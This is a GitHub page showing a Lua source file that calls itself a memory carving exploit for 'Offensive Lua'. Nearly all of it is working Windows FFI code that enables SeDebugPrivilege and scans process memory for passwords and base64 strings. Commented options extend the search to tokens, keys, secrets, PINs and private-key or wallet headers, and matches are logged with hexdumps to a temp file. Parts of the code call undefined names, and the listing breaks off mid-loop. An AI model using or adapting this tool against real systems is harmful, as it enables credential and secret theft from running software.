-
Notifications
You must be signed in to change notification settings - Fork 31
Expand file tree
/
Copy pathmemorysearch.lua
More file actions
909 lines (759 loc) · 34.9 KB
/
memorysearch.lua
File metadata and controls
909 lines (759 loc) · 34.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
-- memorysearch.lua - a memory carving exploit for Offensive Lua.
-- Memory scanner with regex pattern matching for credential hunting
-- Searches current process memory for sensitive strings using Lua patterns
-- Configure REGEX_PATTERNS below to customize search terms
local jit = require("jit")
-- disable JIT optimizations for FFI callbacks and error handling
jit.off(true, true)
local ffi = require("ffi")
local bit = require("bit")
-- === Configuration ===
-- Lua pattern regex searches (case-insensitive)
-- For hex byte sequences, use string.char() e.g. string.char(0x41, 0x42, 0x43, 0x44) for ABCD
local REGEX_PATTERNS = {
-- { pattern = "[Uu][Ss][Ee][Rr]", description = "user" },
{ pattern = "[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd]", description = "password" },
-- { pattern = "[Kk][Ee][Yy]", description = "key" },
-- { pattern = "[Ss][Ee][Cc][Rr][Ee][Tt]", description = "secret" },
-- { pattern = "[Tt][Oo][Kk][Ee][Nn]", description = "token" },
-- { pattern = "[Pp][Ii][Nn]", description = "PIN" },
-- Base64 Pattern: Matches base64-encoded strings (minimum 20 characters for meaningful data)
-- Pattern matches: [A-Za-z0-9+/]{20,} with optional = or == padding
-- This will find strings like: SGVsbG8gV29ybGQh or dXNlcjpwYXNzd29yZA==
{ pattern = "[A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/=]*", description = "base64 (20+ chars)" },
-- Alternative: Shorter base64 strings (minimum 8 characters)
-- { pattern = "[A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/=]*", description = "base64 (8+ chars)" },
-- Base64 with common prefixes (API keys, tokens, etc.)
-- { pattern = "[Aa][Pp][Ii][Kk][Ee][Yy]%s*[:=]%s*[A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/=]*", description = "API key (base64)" },
-- { pattern = "[Tt][Oo][Kk][Ee][Nn]%s*[:=]%s*[A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/][A-Za-z0-9+/=]*", description = "token (base64)" },
-- Binary/hex byte sequence examples (isPlain = true for exact byte matching)
-- { pattern = string.char(0x30, 0x82), description = "RSA private key (DER)", isPlain = true },
-- { pattern = string.char(0xFF, 0xD8, 0xFF), description = "JPEG header", isPlain = true },
-- { pattern = string.char(0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A), description = "PNG signature", isPlain = true },
-- { pattern = string.char(0x52, 0x53, 0x41, 0x31), description = "RSA1 key header", isPlain = true },
-- { pattern = string.char(0x2D, 0x2D, 0x2D, 0x2D, 0x2D, 0x42, 0x45, 0x47, 0x49, 0x4E), description = "-----BEGIN", isPlain = true },
-- { pattern = string.char(0x80), description = "Bitcoin WIF key prefix", isPlain = true },
-- { pattern = string.char(0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07), description = "AES test pattern", isPlain = true },
}
local CHUNK_SIZE = 0x1000
local MAX_STRING_CONCAT_SIZE = 0x10000
local ADDRESS_LIMIT = 0x7FFFFFFFFFFFFFFF
local CONTEXT_BEFORE = 96
local CONTEXT_AFTER = 64
local MAX_REGIONS_TO_SCAN = 10000
ffi.cdef[[
typedef unsigned char BYTE;
typedef unsigned short WORD;
typedef unsigned long DWORD;
typedef unsigned long ULONG;
typedef long NTSTATUS;
typedef uintptr_t SIZE_T;
typedef void* HANDLE;
typedef void* PVOID;
typedef int BOOL;
typedef long LONG;
typedef int64_t LONGLONG;
typedef uint64_t ULONGLONG;
typedef char* LPSTR;
typedef DWORD* PDWORD;
typedef SIZE_T ULONG_PTR;
typedef struct {
PVOID BaseAddress;
PVOID AllocationBase;
DWORD AllocationProtect;
SIZE_T RegionSize;
DWORD State;
DWORD Protect;
DWORD Type;
} MEMORY_BASIC_INFORMATION32, *PMEMORY_BASIC_INFORMATION32;
typedef struct {
PVOID BaseAddress;
PVOID AllocationBase;
DWORD AllocationProtect;
DWORD __alignment1;
SIZE_T RegionSize;
DWORD State;
DWORD Protect;
DWORD Type;
DWORD __alignment2;
} MEMORY_BASIC_INFORMATION64, *PMEMORY_BASIC_INFORMATION64;
typedef MEMORY_BASIC_INFORMATION32 MEMORY_BASIC_INFORMATION;
typedef struct {
DWORD LowPart;
LONG HighPart;
} LUID;
typedef struct {
LUID Luid;
DWORD Attributes;
} LUID_AND_ATTRIBUTES;
typedef struct {
DWORD PrivilegeCount;
LUID_AND_ATTRIBUTES Privileges[1];
} TOKEN_PRIVILEGES;
BOOL QueryFullProcessImageNameA(HANDLE hProcess, DWORD dwFlags, LPSTR lpExeName, PDWORD lpdwSize);
HANDLE GetCurrentProcess(void);
DWORD GetCurrentProcessId(void);
SIZE_T VirtualQueryEx(HANDLE hProcess, PVOID lpAddress, PVOID lpBuffer, SIZE_T dwLength);
DWORD GetLastError(void);
BOOL CloseHandle(HANDLE hObject);
BOOL IsWow64Process(HANDLE hProcess, BOOL* Wow64Process);
HANDLE OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
BOOL ReadProcessMemory(HANDLE hProcess, PVOID lpBaseAddress, PVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead);
BOOL OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, HANDLE* TokenHandle);
BOOL LookupPrivilegeValueA(const char* lpSystemName, const char* lpName, LUID* lpLuid);
BOOL AdjustTokenPrivileges(HANDLE TokenHandle, BOOL DisableAllPrivileges, TOKEN_PRIVILEGES* NewState, DWORD BufferLength, TOKEN_PRIVILEGES* PreviousState, DWORD* ReturnLength);
DWORD GetCurrentThreadId(void);
BOOL EnumProcessModules(HANDLE hProcess, HANDLE* lphModule, DWORD cb, DWORD* lpcbNeeded);
DWORD GetModuleBaseNameA(HANDLE hProcess, HANDLE hModule, LPSTR lpBaseName, DWORD nSize);
BOOL GetModuleInformation(HANDLE hProcess, HANDLE hModule, void* lpmodinfo, DWORD cb);
typedef struct {
PVOID lpBaseOfDll;
DWORD SizeOfImage;
PVOID EntryPoint;
} MODULEINFO, *LPMODULEINFO;
DWORD GetEnvironmentVariableA(const char* lpName, char* lpBuffer, DWORD nSize);
]]
local kernel32 = ffi.load("kernel32")
local advapi32 = ffi.load("advapi32")
local psapi = ffi.load("psapi")
-- === Constants ===
local PROCESS_QUERY_INFORMATION = 0x0400
local PROCESS_VM_READ = 0x0010
local MEM_COMMIT = 0x1000
local PAGE_NOACCESS = 0x01
local PAGE_GUARD = 0x100
local PAGE_READONLY = 0x02
local PAGE_READWRITE = 0x04
local PAGE_EXECUTE_READ = 0x20
local PAGE_EXECUTE_READWRITE = 0x40
local PAGE_WRITECOPY = 0x08
local PAGE_EXECUTE_WRITECOPY = 0x80
local STATUS_SUCCESS = 0x00000000
local STATUS_PARTIAL_COPY = 0x8000000D
local STATUS_ACCESS_VIOLATION = 0xC0000005
-- === Utility helpers ===
local TOKEN_QUERY = 0x0008
local SE_PRIVILEGE_ENABLED = 0x00000002
local TOKEN_ADJUST_PRIVILEGES = 0x0020
local TOKEN_QUERY = 0x0008
local SE_PRIVILEGE_ENABLED = 0x00000002
-- === Utility helpers ===
local function enableDebugPrivilege()
local hToken = ffi.new("HANDLE[1]")
local success = advapi32.OpenProcessToken(
kernel32.GetCurrentProcess(),
bit.bor(TOKEN_ADJUST_PRIVILEGES, TOKEN_QUERY),
hToken
)
if success == 0 then
return false, "OpenProcessToken failed: " .. kernel32.GetLastError()
end
local luid = ffi.new("LUID")
success = advapi32.LookupPrivilegeValueA(nil, "SeDebugPrivilege", luid)
if success == 0 then
kernel32.CloseHandle(hToken[0])
return false, "LookupPrivilegeValueA failed: " .. kernel32.GetLastError()
end
local tp = ffi.new("TOKEN_PRIVILEGES")
tp.PrivilegeCount = 1
tp.Privileges[0].Luid = luid
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
success = advapi32.AdjustTokenPrivileges(hToken[0], 0, tp, 0, nil, nil)
local lastErr = kernel32.GetLastError()
kernel32.CloseHandle(hToken[0])
if success == 0 then
return false, "AdjustTokenPrivileges failed: " .. lastErr
end
-- ERROR_NOT_ALL_ASSIGNED (1300) means privilege wasn't granted
if lastErr == 1300 then
return false, "SeDebugPrivilege not available (ERROR_NOT_ALL_ASSIGNED)"
end
return true
end
local function getTempPath()
local buffer = ffi.new("char[?]", 260)
local size = kernel32.GetEnvironmentVariableA("TEMP", buffer, 260)
if size > 0 and size < 260 then
return ffi.string(buffer)
end
return "c:/temp"
end
local function generateLogPath(processName, pid, tid)
local tempPath = getTempPath()
local baseName = processName:match("([^/\\]+)$") or "unknown"
baseName = baseName:gsub("%.", "_")
local timestamp = os.date("%Y%m%d_%H%M%S")
return string.format("%s/%s_PID%d_TID%d_%s.log", tempPath, baseName, pid, tid, timestamp)
end
local function writeLog(logFile, message)
logFile:write(message)
logFile:flush()
io.write(message)
io.flush()
end
-- Track active log for helpers that lack direct access
local currentLogFile = nil
local function debugLog(fmt, ...)
if currentLogFile then
writeLog(currentLogFile, string.format(fmt, ...))
end
end
local function toUnicodeLE(str)
local bytes = {}
for i = 1, #str do
local c = str:byte(i)
bytes[#bytes + 1] = string.char(c, 0)
end
return table.concat(bytes)
end
local function hexToBytes(hexStr)
-- Convert hex escape sequences like \x41\x42 to actual bytes
-- Also supports regular hex strings like "414243"
local result = {}
-- First try to match \xHH format
for hex in hexStr:gmatch("\\x([0-9A-Fa-f][0-9A-Fa-f])") do
table.insert(result, string.char(tonumber(hex, 16)))
end
-- If no \x format found, try plain hex pairs
if #result == 0 then
for hex in hexStr:gmatch("([0-9A-Fa-f][0-9A-Fa-f])") do
table.insert(result, string.char(tonumber(hex, 16)))
end
end
return table.concat(result)
end
local function isReadableProtection(protect)
-- Exclude PAGE_GUARD and PAGE_NOACCESS
if bit.band(protect, PAGE_GUARD) ~= 0 or protect == PAGE_NOACCESS then
return false
end
-- Check for any readable protection flags
local readable = bit.bor(PAGE_READONLY, PAGE_READWRITE, PAGE_EXECUTE_READ,
PAGE_EXECUTE_READWRITE, PAGE_WRITECOPY, PAGE_EXECUTE_WRITECOPY)
return bit.band(protect, readable) ~= 0
end
local function safeRead(processHandle, address, size)
if size <= 0 or size > CHUNK_SIZE * 4 then
return nil, false
end
local buffer = ffi.new("uint8_t[?]", size)
local bytesRead = ffi.new("SIZE_T[1]")
local success, result = pcall(function()
return kernel32.ReadProcessMemory(processHandle, ffi.cast("PVOID", address), buffer, size, bytesRead)
end)
if not success then
debugLog(" ReadProcessMemory pcall raised at 0x%08X: %s\n", address, tostring(result))
return nil, false
end
if result == 0 then
return nil, false
end
local actualBytesRead = tonumber(bytesRead[0])
if actualBytesRead == 0 or actualBytesRead > size then
return nil, false
end
local strSuccess, strResult = pcall(ffi.string, buffer, actualBytesRead)
if not strSuccess then
debugLog(" ffi.string failed at 0x%08X: %s\n", address, tostring(strResult))
return nil, false
end
return strResult, true
end
-- Extract printable ASCII strings from binary data
local function extractStrings(data, minLength)
minLength = minLength or 4 -- Minimum string length to extract
local strings = {}
local currentString = {}
local currentStart = nil
for i = 1, #data do
local byte = data:byte(i)
-- Check if printable ASCII (space to ~)
if byte >= 32 and byte <= 126 then
if not currentStart then
currentStart = i
end
table.insert(currentString, string.char(byte))
else
-- Non-printable character, end current string if long enough
if #currentString >= minLength then
table.insert(strings, {
offset = currentStart - 1,
value = table.concat(currentString)
})
end
currentString = {}
currentStart = nil
end
end
-- Don't forget the last string if it ends at data end
if #currentString >= minLength then
table.insert(strings, {
offset = currentStart - 1,
value = table.concat(currentString)
})
end
return strings
end
-- Format extracted strings for display
local function formatExtractedStrings(data, baseAddr, highlightOffset, highlightLen)
local strings = extractStrings(data, 4)
if #strings == 0 then
return " (No printable strings found)\n"
end
local lines = {}
local highlightEnd = highlightOffset + highlightLen
for _, str in ipairs(strings) do
local strEnd = str.offset + #str.value
local addr = baseAddr + str.offset
-- Check if this string contains or overlaps with the match
local isMatch = (str.offset >= highlightOffset and str.offset < highlightEnd) or
(strEnd > highlightOffset and strEnd <= highlightEnd) or
(str.offset <= highlightOffset and strEnd >= highlightEnd)
if isMatch then
-- This string contains the match - highlight it
table.insert(lines, string.format(" [MATCH] 0x%08X: %s", addr, str.value))
else
table.insert(lines, string.format(" 0x%08X: %s", addr, str.value))
end
end
return table.concat(lines, "\n") .. "\n"
end
local function hexdump(data, baseAddr, highlightOffset, highlightLen)
local lines = {}
local total = #data
for lineOffset = 0, total - 1, 16 do
local addr = baseAddr + lineOffset
local hexParts, asciiParts = {}, {}
for i = 0, 15 do
local idx = lineOffset + i
if idx < total then
local byte = data:byte(idx + 1)
local inMatch = idx >= highlightOffset and idx < highlightOffset + highlightLen
if inMatch then
hexParts[#hexParts + 1] = string.format("[%02X]", byte)
local ch = (byte >= 32 and byte <= 126) and string.char(byte) or "."
asciiParts[#asciiParts + 1] = "[" .. ch .. "]"
else
hexParts[#hexParts + 1] = string.format(" %02X ", byte)
asciiParts[#asciiParts + 1] = (byte >= 32 and byte <= 126) and string.char(byte) or "."
end
else
hexParts[#hexParts + 1] = " "
asciiParts[#asciiParts + 1] = " "
end
end
lines[#lines + 1] = string.format("%08X: %s | %s", addr, table.concat(hexParts, ""), table.concat(asciiParts, ""))
end
return table.concat(lines, "\n")
end
local function makeContext(processHandle, regionBase, regionEnd, matchAddr, matchLenBytes, isUnicode)
-- Validate parameters
if not processHandle or not regionBase or not regionEnd or not matchAddr or not matchLenBytes then
return nil
end
if matchAddr < regionBase or matchAddr >= regionEnd then
return nil
end
local step = isUnicode and 2 or 1
local beforeLimit = CONTEXT_BEFORE * step
local afterLimit = CONTEXT_AFTER * step
local startAddr = matchAddr - beforeLimit
if startAddr < regionBase then startAddr = regionBase end
local endAddr = matchAddr + matchLenBytes + afterLimit
if endAddr > regionEnd then endAddr = regionEnd end
if endAddr <= startAddr then
return nil
end
local size = endAddr - startAddr
-- Limit context size to prevent excessive memory operations
if size > CHUNK_SIZE * 4 then
size = CHUNK_SIZE * 4
endAddr = startAddr + size
end
local data, ok = safeRead(processHandle, startAddr, size)
if not data or #data == 0 then
return nil, status
end
local matchOffset = matchAddr - startAddr
local matchStartIdx = matchOffset + 1
local matchEndIdx = matchStartIdx + matchLenBytes - 1
-- Bounds checking
local dataLen = #data
if matchStartIdx < 1 or matchStartIdx > dataLen or matchEndIdx > dataLen then
return nil
end
local contextStartIdx = matchStartIdx
local consumed = 0
local iterations = 0
local maxIterations = CONTEXT_BEFORE + 10 -- Safety limit
while contextStartIdx > step and iterations < maxIterations do
iterations = iterations + 1
local nextIdx = contextStartIdx - step
if nextIdx < 1 then break end
-- Protected byte access
local byteOk = true
if isUnicode then
if nextIdx + 1 > dataLen then break end
local b1Success, b1 = pcall(string.byte, data, nextIdx)
local b2Success, b2 = pcall(string.byte, data, nextIdx + 1)
if not b1Success or not b2Success or not b1 or not b2 or (b1 == 0 and b2 == 0) then
break
end
else
if nextIdx > dataLen then break end
local bSuccess, b = pcall(string.byte, data, nextIdx)
if not bSuccess or not b or b == 0 then
break
end
end
consumed = consumed + step
if consumed >= beforeLimit then break end
contextStartIdx = nextIdx
end
local contextEndIdx = matchEndIdx
consumed = 0
iterations = 0
while contextEndIdx + step <= dataLen and iterations < maxIterations do
iterations = iterations + 1
local nextIdx = contextEndIdx + step
if nextIdx > dataLen then break end
-- Protected byte access
if isUnicode then
if nextIdx + 1 > dataLen then break end
local b1Success, b1 = pcall(string.byte, data, nextIdx)
local b2Success, b2 = pcall(string.byte, data, nextIdx + 1)
if not b1Success or not b2Success or not b1 or not b2 or (b1 == 0 and b2 == 0) then
break
end
else
local bSuccess, b = pcall(string.byte, data, nextIdx)
if not bSuccess or not b or b == 0 then
break
end
end
consumed = consumed + step
if consumed >= afterLimit then break end
contextEndIdx = nextIdx
end
-- Validate indices before substring extraction
if contextStartIdx < 1 or contextEndIdx > dataLen or contextStartIdx > contextEndIdx then
return nil
end
-- Protected substring extraction
local subSuccess, window = pcall(string.sub, data, contextStartIdx, contextEndIdx)
if not subSuccess or not window then
return nil
end
local highlightOffset = matchStartIdx - contextStartIdx
return {
base = startAddr + (contextStartIdx - 1),
data = window,
highlightOffset = highlightOffset - 1,
highlightLen = matchLenBytes
}
end
local function logMatch(logFile, label, idx, address, contextInfo, isUnicode)
writeLog(logFile, string.format("\n[%s MATCH %d]\n", label, idx))
writeLog(logFile, string.format("Address: 0x%08X\n", address))
writeLog(logFile, string.format("Encoding: %s\n", isUnicode and "UTF-16LE" or "ASCII"))
if contextInfo then
writeLog(logFile, "Context Hexdump:\n")
writeLog(logFile, hexdump(contextInfo.data, contextInfo.base, contextInfo.highlightOffset, contextInfo.highlightLen))
writeLog(logFile, "\n")
writeLog(logFile, "Extracted Strings:\n")
writeLog(logFile, formatExtractedStrings(contextInfo.data, contextInfo.base, contextInfo.highlightOffset, contextInfo.highlightLen))
else
writeLog(logFile, "Context unavailable (access denied)\n")
end
end
local function scanRegion(processHandle, logFile, baseAddr, regionSize, searchers)
local regionEnd = baseAddr + regionSize
local offset = 0
local consecutiveFailures = 0
local maxConsecutiveFailures = 10 -- Abort region after 10 consecutive failures
while offset < regionSize do
local toRead = math.min(CHUNK_SIZE, regionSize - offset)
local readAddr = baseAddr + offset
local chunk, ok = safeRead(processHandle, readAddr, toRead)
if chunk and #chunk > 0 then
consecutiveFailures = 0 -- Reset failure counter on success
-- Process each search pattern with protected string operations
for _, search in ipairs(searchers) do
local tail = search.tail
local tailLen = #tail
local chunkLen = #chunk
-- Prevent excessive string concatenation that exhausts stack
if tailLen + chunkLen > MAX_STRING_CONCAT_SIZE then
-- Trim tail to reasonable size
tail = tail:sub(math.max(1, tailLen - search.tailSize))
tailLen = #tail
end
local combined = tail .. chunk
local combinedLen = #combined
local patternLen = search.patternLen
-- For regex, we search regardless of pattern length (variable length)
-- For literal strings/hex, we need minimum pattern length
if (search.isRegex and combinedLen > 0) or (patternLen > 0 and combinedLen >= patternLen) then
local searchStart = search.isRegex and 1 or math.max(1, tailLen - patternLen + 1)
local pos = searchStart
local matchLimit = 1000 -- Prevent infinite loop on repetitive patterns
local matchCount = 0
while matchCount < matchLimit do
-- Protected string search
local findSuccess, found, foundEnd
if search.isRegex then
-- Use pattern matching for regex
findSuccess, found, foundEnd = pcall(string.find, combined, search.pattern, pos)
else
-- Use plain text search for literal strings/hex bytes
findSuccess, found = pcall(string.find, combined, search.pattern, pos, true)
if findSuccess and found then
foundEnd = found + patternLen - 1
end
end
if not findSuccess or not found then
break
end
matchCount = matchCount + 1
-- Calculate actual match length for regex patterns
local actualMatchLen = foundEnd - found + 1
if foundEnd > tailLen then
local combinedZero = found - 1
local absoluteAddr = readAddr - tailLen + combinedZero
-- Protected context extraction
local ctxSuccess, context = pcall(makeContext, processHandle, baseAddr, regionEnd, absoluteAddr, actualMatchLen, search.isUnicode)
if ctxSuccess then
search.count = search.count + 1
logMatch(logFile, search.label, search.count, absoluteAddr, context, search.isUnicode)
end
end
pos = foundEnd + 1
if pos > combinedLen then
break
end
end
end
-- Update tail with size limit
local maxTail = math.min(combinedLen, search.tailSize)
if maxTail > 0 and maxTail <= combinedLen then
local subSuccess, newTail = pcall(string.sub, combined, combinedLen - maxTail + 1)
if subSuccess then
search.tail = newTail
else
search.tail = "" -- Reset on error
end
else
search.tail = ""
end
end
else
consecutiveFailures = consecutiveFailures + 1
if consecutiveFailures >= maxConsecutiveFailures then
writeLog(logFile, string.format(" Aborting region scan after %d consecutive failures at 0x%08X\n", consecutiveFailures, readAddr))
break
end
if status and status ~= STATUS_PARTIAL_COPY and status ~= STATUS_ACCESS_VIOLATION then
local winSuccess, winErr = pcall(ntdll.RtlNtStatusToDosError, status)
local errCode = winSuccess and tonumber(winErr) or 0
writeLog(logFile, string.format(" Read failed at 0x%08X (status=%s, win32=%d)\n", readAddr, statusToString(status), errCode))
end
end
offset = offset + toRead
-- Safety check for offset advancement
if offset <= 0 or offset > regionSize then
writeLog(logFile, string.format(" WARNING: Invalid offset advancement detected (offset=%d, regionSize=%d)\n", offset, regionSize))
break
end
end
end
local function logLoadedModules(processHandle, logFile)
writeLog(logFile, "\n=== LOADED MODULES ===\n")
local modules = ffi.new("HANDLE[1024]")
local needed = ffi.new("DWORD[1]")
local success = psapi.EnumProcessModules(processHandle, modules, ffi.sizeof(modules), needed)
if success == 0 then
writeLog(logFile, "Failed to enumerate modules\n")
return
end
local moduleCount = needed[0] / ffi.sizeof("HANDLE")
for i = 0, moduleCount - 1 do
local modInfo = ffi.new("MODULEINFO")
success = psapi.GetModuleInformation(processHandle, modules[i], modInfo, ffi.sizeof(modInfo))
if success ~= 0 then
local baseName = ffi.new("char[256]")
psapi.GetModuleBaseNameA(processHandle, modules[i], baseName, 256)
local baseAddr = tonumber(ffi.cast("intptr_t", modInfo.lpBaseOfDll))
local size = modInfo.SizeOfImage
writeLog(logFile, string.format("Module: %s - 0x%08X - 0x%08X (%d KB)\n",
ffi.string(baseName), baseAddr, baseAddr + size, size / 1024))
end
end
end
function main()
local pid = kernel32.GetCurrentProcessId()
local tid = kernel32.GetCurrentThreadId()
local processHandle = kernel32.OpenProcess(PROCESS_QUERY_INFORMATION + PROCESS_VM_READ, false, pid)
if processHandle == nil or tonumber(ffi.cast("intptr_t", processHandle)) == 0 then
print("Scan failed: Could not open process handle.")
return
end
local function getProcessName(pHandle)
local size = ffi.new("DWORD[1]", 260)
local buffer = ffi.new("char[?]", size[0])
local success = kernel32.QueryFullProcessImageNameA(pHandle, 0, buffer, size)
if success ~= 0 then
return ffi.string(buffer)
end
return "unknown"
end
local processName = getProcessName(processHandle)
local logPath = generateLogPath(processName, pid, tid)
local logFile = assert(io.open(logPath, "w"))
writeLog(logFile, "\n--------------------------------------------------\n")
currentLogFile = logFile
writeLog(logFile, "Memory search log\n")
writeLog(logFile, string.format("Scan start: %s\n", os.date("%Y-%m-%d %H:%M:%S")))
local privOk, privErr = enableDebugPrivilege()
writeLog(logFile, string.format("SeDebugPrivilege: %s\n", privOk and "ENABLED" or "DISABLED (" .. (privErr or "unknown error") .. ")"))
-- Architecture detection
local pointerSize = ffi.sizeof(ffi.typeof("void*"))
local is32bitCode = (pointerSize == 4)
writeLog(logFile, string.format("Pointer size: %d bytes (32-bit code: %s)\n", pointerSize, tostring(is32bitCode)))
local wow64Result = ffi.new("BOOL[1]")
local wow64Success = kernel32.IsWow64Process(kernel32.GetCurrentProcess(), wow64Result)
local isWow64Process = (wow64Result[0] ~= 0)
writeLog(logFile, string.format("IsWow64Process call success: %s, returned: %d (process is WoW64: %s)\n", tostring(wow64Success ~= 0), wow64Result[0], tostring(isWow64Process)))
local use32bitStruct = is32bitCode -- Use 32-bit struct if code is 32-bit, regardless of process
writeLog(logFile, string.format("Will use 32-bit MEMORY_BASIC_INFORMATION struct: %s\n", tostring(use32bitStruct)))
-- Build searchers for regex patterns only (most efficient - one pass per region)
local searchers = {}
writeLog(logFile, "\n=== SEARCH CONFIGURATION ===\n")
writeLog(logFile, string.format("Regex patterns: %d\n", #REGEX_PATTERNS))
-- Add regex pattern searchers (ASCII only for efficiency)
for idx, regexDef in ipairs(REGEX_PATTERNS) do
local pattern = regexDef.pattern
local description = regexDef.description or pattern
local isPlain = regexDef.isPlain or false
writeLog(logFile, string.format(" [%d] %s: %s\n", idx, description, isPlain and "(hex bytes)" or pattern))
table.insert(searchers, {
label = string.format("%s[%s]", isPlain and "HEX" or "REGEX", description),
pattern = pattern,
patternLen = isPlain and #pattern or 0,
isUnicode = false,
isRegex = not isPlain,
step = 1,
tail = "",
tailSize = isPlain and math.max(0, #pattern - 1) or 256,
count = 0
})
end
writeLog(logFile, string.format("Total searchers: %d\n", #searchers))
writeLog(logFile, string.format("Process Name: %s\n", processName))
writeLog(logFile, string.format("Opened handle to PID %d: 0x%X\n", pid, tonumber(ffi.cast("intptr_t", processHandle))))
writeLog(logFile, string.format("Current Thread ID: %d\n", tid))
logLoadedModules(processHandle, logFile)
local address = 0x10000 -- Start scan above first 64K
local regions, readableRegions = 0, 0
local firstQueryFailed = false
local lastAddress = 0
-- Main memory query loop with safety limits
while address < ADDRESS_LIMIT and regions < MAX_REGIONS_TO_SCAN do
local baseAddr, regionSize, state, protect
local querySuccess = false
local mbi
if use32bitStruct then
mbi = ffi.new("MEMORY_BASIC_INFORMATION32")
else
mbi = ffi.new("MEMORY_BASIC_INFORMATION64")
end
local result = kernel32.VirtualQueryEx(processHandle, ffi.cast("PVOID", address), mbi, ffi.sizeof(mbi))
if result > 0 then
querySuccess = true
baseAddr = tonumber(ffi.cast("intptr_t", mbi.BaseAddress))
regionSize = tonumber(mbi.RegionSize)
state = tonumber(mbi.State)
protect = tonumber(mbi.Protect)
end
if not querySuccess then
if regions == 0 then
firstQueryFailed = true
local lastErr = kernel32.GetLastError()
writeLog(logFile, string.format("\n[ERROR] Initial memory query failed at address 0x%X (Win32=%d)\n", address, lastErr))
end
break
end
regions = regions + 1
-- Safety check for invalid region data
if not baseAddr or not regionSize then
writeLog(logFile, string.format("\n[REGION %d] INVALID DATA baseAddr=%s regionSize=%s\n",
regions, tostring(baseAddr), tostring(regionSize)))
break
end
-- Detect infinite loop condition
if address == lastAddress then
